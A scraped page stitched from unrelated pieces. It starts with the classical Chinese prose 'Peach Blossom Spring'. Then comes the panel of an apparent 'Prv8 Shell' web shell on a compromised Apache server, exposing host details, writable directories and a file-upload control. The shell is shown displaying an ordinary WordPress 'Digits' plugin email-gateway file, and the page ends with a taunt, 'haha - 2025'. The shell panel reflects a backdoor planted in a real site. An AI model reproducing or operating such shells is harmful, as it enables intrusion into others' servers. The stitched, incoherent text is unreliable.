晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/digits/admin/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/rainic/www/oldTZh/wp-content/plugins/digits/admin/includes/email_gateways_functions.php
<?php


use Mailgun\Mailgun;

if (!defined('ABSPATH')) {
    exit;
}


function digits_get_email_gateway()
{
    return get_option('digit_email_gateway', 2);
}

function digit_send_email($to, $subject, $body, $to_name = null)
{
    $email_gateway = digits_get_email_gateway();
    return digit_send_email_gateway($email_gateway, $to, $subject, $body, $to_name);
}

function digit_send_email_gateway($digit_gateway, $to, $subject, $body, $to_name = null)
{

    $protected_by_html = '';
    $show_protected_by_digits = show_protected_by_digits();
    if ($show_protected_by_digits == 1) {
        $protected_by_html = digits_protected_by_email_html();
    }

    $body = str_replace("{{protected-by-digits}}", $protected_by_html, $body);

    $prefix = 'email';

    $site_url = home_url();
    $site_url = str_replace("http://", "", $site_url);
    $site_url = str_replace("https://", "", $site_url);
    $admin_email = 'no-reply@' . $site_url;

    $from_name = get_bloginfo('name');

    switch ($digit_gateway) {
        case 2:
            $gateway_cred = get_option('digit_' . $prefix . 'wp_mail');
            $from = $gateway_cred['from'];
            if (empty($from)) {
                $from = $admin_email;
            }
            $headers = array(
                'From: ' . $from_name . ' <' . $from . '>',
                'Content-Type: text/html; charset=UTF-8');
            return wp_mail($to, $subject, $body, $headers);
        case 3:
            $gateway_cred = get_option('digit_' . $prefix . 'sendgrid');
            $api_key = $gateway_cred['api_key'];

            if (empty($from)) {
                $from = $admin_email;
            }

            try {
                $email = new \SendGrid\Mail\Mail();
                $email->setFrom($from, $from_name);
                $email->setSubject($subject);
                $email->addTo($to, $to_name);
                $email->addContent(
                    "text/html", $body
                );
                $sendgrid = new \SendGrid($api_key);
                $response = $sendgrid->send($email);
                return $response;
            } catch (Exception $e) {
                return $e->getMessage();
            }

        case 4:
            $gateway_cred = get_option('digit_' . $prefix . 'mailgun');

            if (empty($from)) {
                $from = $admin_email;
            }

            $api_key = $gateway_cred['api_key'];
            $domain = $gateway_cred['domain'];

            try {
                $mg = Mailgun::create($api_key);

                return $mg->messages()->send($domain, [
                    'from' => $from,
                    'to' => $to,
                    'subject' => $subject,
                    'text' => $body
                ]);
            } catch (Exception $e) {
                return $e->getMessage();
            }
        default:
            return false;
    }
}


function digit_send_test_email($gateway, $to)
{
    $subject = 'Test Email -  Digits';
    $body = '<h1>Hello, This is a test mail from Digits</h1>';
    return digit_send_email_gateway($gateway, $to, $subject, $body, null);
}

function digits_protected_by_email_html()
{
    return '<div class="u-row-container hide-mobile" style="padding: 0px;background-color: transparent">
                <div class="u-row"
                     style="Margin: 0 auto;min-width: 320px;max-width: 600px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
                    <div style="border-collapse: collapse;display: table;width: 100%;background-color: transparent;">
                        <!--[if (mso)|(IE)]>
                        <table width="100%" cellpadding="0" cellspacing="0" border="0">
                            <tr>
                                <td style="padding: 0px;background-color: transparent;" align="center">
                                    <table cellpadding="0" cellspacing="0" border="0" style="width:600px;">
                                        <tr style="background-color: transparent;"><![endif]-->

                        <!--[if (mso)|(IE)]>
                        <td align="center" width="300"
                            style="width: 300px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;"
                            valign="top"><![endif]-->
                        <div class="u-col u-col-50"
                             style="max-width: 320px;min-width: 300px;display: table-cell;vertical-align: top;">
                            <div style="width: 100% !important;">
                                <!--[if (!mso)&(!IE)]><!-->
                                <div style="padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;">
                                    <!--<![endif]-->

                                    <table id="u_content_text_12" style="font-family:arial,helvetica,sans-serif;"
                                           role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
                                        <tbody>
                                        <tr>
                                            <td style="overflow-wrap:break-word;word-break:break-word;padding:6px 2px 6px 6px;font-family:arial,helvetica,sans-serif;"
                                                align="left">

                                                <div class="v-text-align"
                                                     style="color: #3b4961; line-height: 140%; text-align: right; word-wrap: break-word;">
                                                    <p style="font-size: 14px; line-height: 140%;"><span
                                                                style="font-family: helvetica, sans-serif; font-size: 14px; line-height: 19.6px;"><strong><span
                                                                        style="font-size: 16px; line-height: 22.4px;">Protected </span></strong>
                                  </span><span style="font-family: helvetica, sans-serif; font-size: 14px; line-height: 19.6px;"><strong><span
                                                                        style="font-size: 16px; line-height: 22.4px;">by</span></strong>
                                  </span>
                                                    </p>
                                                </div>

                                            </td>
                                        </tr>
                                        </tbody>
                                    </table>

                                    <!--[if (!mso)&(!IE)]><!-->
                                </div>
                                <!--<![endif]-->
                            </div>
                        </div>
                        <!--[if (mso)|(IE)]></td><![endif]-->
                        <!--[if (mso)|(IE)]>
                        <td align="center" width="300"
                            style="width: 300px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;"
                            valign="top"><![endif]-->
                        <div class="u-col u-col-50"
                             style="max-width: 320px;min-width: 300px;display: table-cell;vertical-align: top;">
                            <div style="width: 100% !important;">
                                <!--[if (!mso)&(!IE)]><!-->
                                <div style="padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;">
                                    <!--<![endif]-->

                                    <table id="u_content_image_4" style="font-family:arial,helvetica,sans-serif;"
                                           role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
                                        <tbody>
                                        <tr>
                                            <td style="overflow-wrap:break-word;word-break:break-word;padding:6px;font-family:arial,helvetica,sans-serif;"
                                                align="left">

                                                <table width="100%" cellpadding="0" cellspacing="0" border="0">
                                                    <tr>
                                                        <td class="v-text-align"
                                                            style="padding-right: 0px;padding-left: 0px;" align="left">

                                                            <img align="left" border="0"
                                                                 src="https://digits.b-cdn.net/wp-content/uploads/2020/03/DigitsLogo48retinawhitev3-1.png"
                                                                 alt="" title=""
                                                                 style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !important;border: none;height: auto;float: none;width: 25%;max-width: 72px;"
                                                                 width="72" class="v-src-width v-src-max-width"/>

                                                        </td>
                                                    </tr>
                                                </table>

                                            </td>
                                        </tr>
                                        </tbody>
                                    </table>

                                    <!--[if (!mso)&(!IE)]><!-->
                                </div>
                                <!--<![endif]-->
                            </div>
                        </div>
                        <!--[if (mso)|(IE)]></td><![endif]-->
                        <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
                    </div>
                </div>
            </div>';
}

haha - 2025